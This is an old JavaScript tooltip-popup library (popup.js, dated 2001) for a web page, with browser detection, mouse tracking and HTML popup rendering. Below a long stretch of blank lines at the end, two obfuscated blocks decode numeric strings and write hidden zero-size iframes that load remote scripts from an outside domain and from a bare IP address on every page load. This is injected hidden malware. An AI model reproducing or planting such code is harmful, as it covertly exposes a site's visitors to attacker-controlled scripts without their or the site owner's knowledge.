//popup.js

/*
   ######################################################
   # JAVASCRIPT POPUPS ROUTINE VERSION #7 07-Feb-2001   #        
   # Written by Mike McGrath [mike_mcgrath@lineone.net] # 
   # PC-Tested for Netscape 3.04, 4.61, 6.0, & IE5.5    #
   # Note: Popups may not cover all form field inputs.  #
   # PLEASE RETAIN THIS NOTICE WHEN COPYING MY SCRIPT.  #
   # THIS SCRIPT IS COPYRIGHT OF MIKE MCGRATH 1998-2001 #
   ######################################################
*/



var Xoffset=10;        // modify these values to ...
var Yoffset=5;        // change the popup position.
       // popup width
var default_popwidth=160;
var popwidth=default_popwidth;
var bcolor="black";  // popup border color  #990033
var fcolor="black";     // popup font color
var fface="arial";    // popup font face
var fsize="8pt"
var headline_fcolor="white"
var headline_bgcolor="#990033"
var headline_fsize="9pt"


// id browsers
var iex=(document.all);
var nav=(document.layers);
var old=(navigator.appName=="Netscape" && !document.layers && !document.getElementById);
var n_6=(window.sidebar);
var mac_ie = (iex && navigator.appVersion.indexOf("Mac") != -1);



var css_text = "<style>"
css_text += ".pop_headline {font-family:"+fface+";color: "+headline_fcolor+";font-size: "+headline_fsize+";font-weight: bold;}"
css_text += ".pop_text {font-family:"+fface+";color: "+fcolor+";font-size: "+fsize+";text-align: justify}"
css_text += "</style>"

document.write(css_text);

var ns_font_open,ns_font_close,ns_hl_font_open,ns_hl_font_close;
if(nav){
	ns_font_open = "<font face="+fface+" color="+fcolor+" size="+fsize+"><justify>"
	ns_hl_font_open = "<font face="+fface+" color="+headline_fcolor+" size="+headline_fsize+"><b>"
	ns_font_close = "</font>";
	ns_hl_font_close = "</b></font>";
}else{
	ns_hl_font_close = ns_font_open = ns_font_close = ns_hl_font_open = "";
}


// assign object
var skin;
if(nav) skin=document.pup;
if(iex) skin=pup.style;
if(n_6) skin=document.getElementById("pup").style;

// park modifier
var yyy=-1000;

// capture pointer
if(nav)document.captureEvents(Event.MOUSEMOVE);
if(n_6) document.addEventListener("mousemove",get_mouse,true);
//if(nav||iex)document.onmousemove=get_mouse;
if(nav||iex) addMouseMove(get_mouse);

// set dynamic coords
function get_mouse(e)
{
  var x,y;

  if(nav || n_6) x=e.pageX;
  if(iex) x=event.x+document.body.scrollLeft; 
  
  if(nav || n_6) y=e.pageY;
  if(iex)
  {
    y=event.y;
    if(navigator.appVersion.indexOf("MSIE 4")==-1)
      y+=document.body.scrollTop;
  }

  if(iex || nav)
  {
    skin.top=y+yyy;
    skin.left=x+Xoffset; 
  }

  if(n_6)
  {
    skin.top=(y+yyy)+"px";
    skin.left=x+Xoffset+"px";
  }    
  nudge(x);
}

// avoid edge overflow
function nudge(x)
{
  var extreme,overflow,temp;

  // right
  if(iex) extreme=(document.body.clientWidth-popwidth);
  if(n_6 || nav) extreme=(window.innerWidth-popwidth);

  if(parseInt(skin.left)>extreme)
  {
    overflow=parseInt(skin.left)-extreme;
    temp=parseInt(skin.left);
    temp-=overflow;
    if(nav || iex) skin.left=temp;
    if(n_6)skin.left=temp+"px";
  }

  // left
  if(parseInt(skin.left)<1)
  {
    overflow=parseInt(skin.left)-1;
    temp=parseInt(skin.left);
    temp-=overflow;
    if(nav || iex) skin.left=temp;
    if(n_6)skin.left=temp+"px";
  }
}
//wrapper um show_pop()
function show_pop_big(theme){
	popwidth=250;
	show_pop(theme);
	popwidth=default_popwidth;
}

//wrapper um popup()
function show_pop(theme)
{
	var msg,bgcol,headline;
	if(messages[theme]){
		msg = messages[theme] 
	}else{
		msg = messages["default"]
	}
	if(hintergrundfarbe[theme]){
		bgcol = hintergrundfarbe[theme] 
	}else{
		bgcol = hintergrundfarbe["default"];
	}
	if(headlines[theme]){
		headline = headlines[theme] 
	}else{
		headline = headlines["default"];
	}
	

	popupMessage(msg,bgcol,headline);
}


// write content & display
function popupMessage(msg,bgcol,headline)
{
	
	if(old || mac_ie)
  {
  //alert("hallo!");
	//alert(msg);
    return;
  } 
  
  if(!headline){headline =  headlines["default"]}
  //var content="<TABLE WIDTH='"+popwidth+"' BORDER='1' BORDERCOLOR="+bcolor+" CELLPADDING=2 CELLSPACING=0 "+"BGCOLOR="+bak+"><TD ALIGN='center'><FONT COLOR="+fcolor+" FACE="+fface+" SIZE='2'>"+msg+"</FONT></TD></TABLE>";
	var content="<TABLE WIDTH='"+popwidth+"' BORDER=0 BORDERCOLOR="+bcolor+" CELLPADDING=1 CELLSPACING=0 BGCOLOR=#000000><TR><TD><TABLE WIDTH=100% BORDER=0 CELLPADDING=0 CELLSPACING=0 BGCOLOR="+headline_bgcolor+"><TR><TD><span class='pop_headline'>"+ns_hl_font_open+headline+ns_hl_font_close+"</span></TD></TR></TABLE><TABLE WIDTH=100% BORDER=0 CELLPADDING=2 CELLSPACING=0 BGCOLOR="+bgcol+"><TR><TD><span class='pop_text'>"+ns_font_open+msg+ns_font_close+"</span></TD></TR></TABLE></TD></TR></TABLE>";
  
   
  yyy=Yoffset; 
  skin.width=popwidth;

  if(nav)
  { 
    skin.document.open();
    skin.document.write(content);
    skin.document.close();
    skin.visibility="visible";
  }

  if(iex)
  {        
    pup.innerHTML=content;
    skin.visibility="visible";
  }  

  if(n_6)
  {   
    document.getElementById("pup").innerHTML=content;
    skin.visibility="visible";
  }
}




// park content box
function kill()
{
  if(!old || mac_ie)
  {
    yyy=-1000;
    skin.visibility="hidden";
    skin.width=0;
  }
}






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

